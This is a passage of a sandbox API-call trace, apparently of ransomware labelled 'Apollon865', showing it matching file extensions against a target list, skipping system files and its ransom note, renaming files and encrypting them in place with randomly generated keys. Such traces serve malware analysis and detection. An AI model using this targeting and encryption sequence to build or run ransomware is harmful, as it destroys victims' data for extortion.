	[0077.671] lstrlenW (lpString="grdb") returned 4
	[0077.671] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0077.671] lstrlenW (lpString="gwi") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0077.671] lstrlenW (lpString="hdb") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0077.671] lstrlenW (lpString="his") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0077.671] lstrlenW (lpString="ib") returned 2
	[0077.671] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0077.671] lstrlenW (lpString="idb") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0077.671] lstrlenW (lpString="ihx") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0077.671] lstrlenW (lpString="itdb") returned 4
	[0077.671] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0077.671] lstrlenW (lpString="itw") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0077.671] lstrlenW (lpString="jet") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0077.671] lstrlenW (lpString="jtx") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0077.671] lstrlenW (lpString="kdb") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0077.671] lstrlenW (lpString="kexi") returned 4
	[0077.671] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0077.671] lstrlenW (lpString="kexic") returned 5
	[0077.671] lstrcmpiW (lpString1="t.msi", lpString2="kexic") returned 1
	[0077.671] lstrlenW (lpString="kexis") returned 5
	[0077.671] lstrcmpiW (lpString1="t.msi", lpString2="kexis") returned 1
	[0077.671] lstrlenW (lpString="lgc") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0077.671] lstrlenW (lpString="lwx") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0077.671] lstrlenW (lpString="maf") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0077.671] lstrlenW (lpString="maq") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0077.671] lstrlenW (lpString="mar") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0077.672] lstrlenW (lpString="marshal") returned 7
	[0077.672] lstrcmpiW (lpString1="Set.msi", lpString2="marshal") returned 1
	[0077.672] lstrlenW (lpString="mas") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0077.672] lstrlenW (lpString="mav") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0077.672] lstrlenW (lpString="maw") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0077.672] lstrlenW (lpString="mdbhtml") returned 7
	[0077.672] lstrcmpiW (lpString1="Set.msi", lpString2="mdbhtml") returned 1
	[0077.672] lstrlenW (lpString="mdn") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0077.672] lstrlenW (lpString="mdt") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0077.672] lstrlenW (lpString="mfd") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0077.672] lstrlenW (lpString="mpd") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0077.672] lstrlenW (lpString="mrg") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0077.672] lstrlenW (lpString="mud") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0077.672] lstrlenW (lpString="mwb") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0077.672] lstrlenW (lpString="myd") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0077.672] lstrlenW (lpString="ndf") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0077.672] lstrlenW (lpString="nnt") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0077.672] lstrlenW (lpString="nrmlib") returned 6
	[0077.672] lstrcmpiW (lpString1="et.msi", lpString2="nrmlib") returned -1
	[0077.672] lstrlenW (lpString="ns2") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0077.672] lstrlenW (lpString="ns3") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0077.672] lstrlenW (lpString="ns4") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0077.672] lstrlenW (lpString="nsf") returned 3
	[0077.672] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0077.672] lstrlenW (lpString="nv") returned 2
	[0077.672] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0077.672] lstrlenW (lpString="nv2") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0077.673] lstrlenW (lpString="nwdb") returned 4
	[0077.673] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0077.673] lstrlenW (lpString="nyf") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0077.673] lstrlenW (lpString="odb") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.673] lstrlenW (lpString="odb") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.673] lstrlenW (lpString="oqy") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0077.673] lstrlenW (lpString="ora") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0077.673] lstrlenW (lpString="orx") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0077.673] lstrlenW (lpString="owc") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0077.673] lstrlenW (lpString="p96") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0077.673] lstrlenW (lpString="p97") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0077.673] lstrlenW (lpString="pan") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0077.673] lstrlenW (lpString="pdb") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0077.673] lstrlenW (lpString="pdm") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0077.673] lstrlenW (lpString="pnz") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0077.673] lstrlenW (lpString="qry") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0077.673] lstrlenW (lpString="qvd") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0077.673] lstrlenW (lpString="rbf") returned 3
	[0077.673] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0077.673] lstrlenW (lpString="rctd") returned 4
	[0077.673] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0077.674] lstrlenW (lpString="rod") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0077.674] lstrlenW (lpString="rodx") returned 4
	[0077.674] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0077.674] lstrlenW (lpString="rpd") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0077.674] lstrlenW (lpString="rsd") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0077.674] lstrlenW (lpString="sas7bdat") returned 8
	[0077.674] lstrcmpiW (lpString1="ISet.msi", lpString2="sas7bdat") returned -1
	[0077.674] lstrlenW (lpString="sbf") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0077.674] lstrlenW (lpString="scx") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0077.674] lstrlenW (lpString="sdb") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0077.674] lstrlenW (lpString="sdc") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0077.674] lstrlenW (lpString="sdf") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0077.674] lstrlenW (lpString="sis") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0077.674] lstrlenW (lpString="spq") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0077.674] lstrlenW (lpString="te") returned 2
	[0077.674] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0077.674] lstrlenW (lpString="teacher") returned 7
	[0077.674] lstrcmpiW (lpString1="Set.msi", lpString2="teacher") returned -1
	[0077.674] lstrlenW (lpString="tmd") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0077.674] lstrlenW (lpString="tps") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0077.674] lstrlenW (lpString="trc") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.674] lstrlenW (lpString="trc") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.674] lstrlenW (lpString="trm") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0077.674] lstrlenW (lpString="udb") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0077.674] lstrlenW (lpString="udl") returned 3
	[0077.674] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0077.675] lstrlenW (lpString="usr") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0077.675] lstrlenW (lpString="v12") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0077.675] lstrlenW (lpString="vis") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0077.675] lstrlenW (lpString="vpd") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0077.675] lstrlenW (lpString="vvv") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0077.675] lstrlenW (lpString="wdb") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0077.675] lstrlenW (lpString="wmdb") returned 4
	[0077.675] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0077.675] lstrlenW (lpString="wrk") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0077.675] lstrlenW (lpString="xdb") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0077.675] lstrlenW (lpString="xld") returned 3
	[0077.675] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0077.675] lstrlenW (lpString="xmlff") returned 5
	[0077.675] lstrcmpiW (lpString1="t.msi", lpString2="xmlff") returned -1
	[0077.675] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="Apollon865.txt.exe") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".") returned 1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="..") returned 1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="windows") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="bootmgr") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="temp") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="pagefile.sys") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="boot") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ids.txt") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ntuser.dat") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="perflogs") returned -1
	[0077.675] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="MSBuild") returned -1
	[0077.675] lstrlenW (lpString="AccessMUISet.xml") returned 16
	[0077.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0077.675] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="AccessMUISet.xml" | out: lpString1="AccessMUISet.xml") returned="AccessMUISet.xml"
	[0077.675] lstrlenW (lpString="AccessMUISet.xml") returned 16
	[0077.675] lstrlenW (lpString="Apollon865") returned 10
	[0077.676] lstrcmpiW (lpString1="MUISet.xml", lpString2="Apollon865") returned 1
	[0077.676] lstrlenW (lpString=".dll") returned 4
	[0077.676] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".dll") returned 1
	[0077.676] lstrlenW (lpString=".lnk") returned 4
	[0077.676] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".lnk") returned 1
	[0077.676] lstrlenW (lpString=".ini") returned 4
	[0077.676] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".ini") returned 1
	[0077.676] lstrlenW (lpString=".sys") returned 4
	[0077.676] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".sys") returned 1
	[0077.676] lstrlenW (lpString="AccessMUISet.xml") returned 16
	[0077.676] lstrlenW (lpString="bak") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.676] lstrlenW (lpString="ba_") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.676] lstrlenW (lpString="dbb") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.676] lstrlenW (lpString="vmdk") returned 4
	[0077.676] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.676] lstrlenW (lpString="rar") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.676] lstrlenW (lpString="zip") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.676] lstrlenW (lpString="tgz") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.676] lstrlenW (lpString="vbox") returned 4
	[0077.676] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.676] lstrlenW (lpString="vdi") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.676] lstrlenW (lpString="vhd") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.676] lstrlenW (lpString="vhdx") returned 4
	[0077.676] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.676] lstrlenW (lpString="avhd") returned 4
	[0077.676] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.676] lstrlenW (lpString="db") returned 2
	[0077.676] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.676] lstrlenW (lpString="db2") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.676] lstrlenW (lpString="db3") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.676] lstrlenW (lpString="dbf") returned 3
	[0077.676] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.676] lstrlenW (lpString="mdf") returned 3
	[0077.677] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.677] lstrlenW (lpString="mdb") returned 3
	[0077.677] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.677] lstrlenW (lpString="sql") returned 3
	[0077.677] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.677] lstrlenW (lpString="sqlite") returned 6
	[0077.677] lstrcmpiW (lpString1="et.xml", lpString2="sqlite") returned -1
	[0077.677] lstrlenW (lpString="sqlite3") returned 7
	[0077.677] lstrcmpiW (lpString1="Set.xml", lpString2="sqlite3") returned -1
	[0077.677] lstrlenW (lpString="sqlitedb") returned 8
	[0077.677] lstrcmpiW (lpString1="ISet.xml", lpString2="sqlitedb") returned -1
	[0077.677] lstrlenW (lpString="xml") returned 3
	[0077.677] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.677] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Apollon865") returned 90
	[0077.677] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.686] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=819) returned 1
	[0077.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfcd8
	[0077.686] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfd60) returned 1
	[0077.687] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.687] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.687] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0077.690] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0077.690] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfd60) returned 1
	[0077.691] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.691] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.692] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.692] CloseHandle (hObject=0x118) returned 1
	[0077.692] CloseHandle (hObject=0x15c) returned 1
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0077.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.692] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x465d70b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x465d70b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.692] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.692] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0077.692] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0077.693] lstrlenW (lpString="Setup.xml") returned 9
	[0077.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0077.693] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0077.693] lstrlenW (lpString="Setup.xml") returned 9
	[0077.693] lstrlenW (lpString="Apollon865") returned 10
	[0077.693] lstrlenW (lpString=".dll") returned 4
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0077.693] lstrlenW (lpString=".lnk") returned 4
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0077.693] lstrlenW (lpString=".ini") returned 4
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0077.693] lstrlenW (lpString=".sys") returned 4
	[0077.693] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0077.693] lstrlenW (lpString="Setup.xml") returned 9
	[0077.693] lstrlenW (lpString="bak") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.693] lstrlenW (lpString="ba_") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.693] lstrlenW (lpString="dbb") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.693] lstrlenW (lpString="vmdk") returned 4
	[0077.693] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.693] lstrlenW (lpString="rar") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.693] lstrlenW (lpString="zip") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.693] lstrlenW (lpString="tgz") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.693] lstrlenW (lpString="vbox") returned 4
	[0077.693] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.693] lstrlenW (lpString="vdi") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.693] lstrlenW (lpString="vhd") returned 3
	[0077.693] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.693] lstrlenW (lpString="vhdx") returned 4
	[0077.693] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.693] lstrlenW (lpString="avhd") returned 4
	[0077.694] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.694] lstrlenW (lpString="db") returned 2
	[0077.694] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.694] lstrlenW (lpString="db2") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.694] lstrlenW (lpString="db3") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.694] lstrlenW (lpString="dbf") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.694] lstrlenW (lpString="mdf") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.694] lstrlenW (lpString="mdb") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.694] lstrlenW (lpString="sql") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.694] lstrlenW (lpString="sqlite") returned 6
	[0077.694] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0077.694] lstrlenW (lpString="sqlite3") returned 7
	[0077.694] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0077.694] lstrlenW (lpString="sqlitedb") returned 8
	[0077.694] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0077.694] lstrlenW (lpString="xml") returned 3
	[0077.694] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.694] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
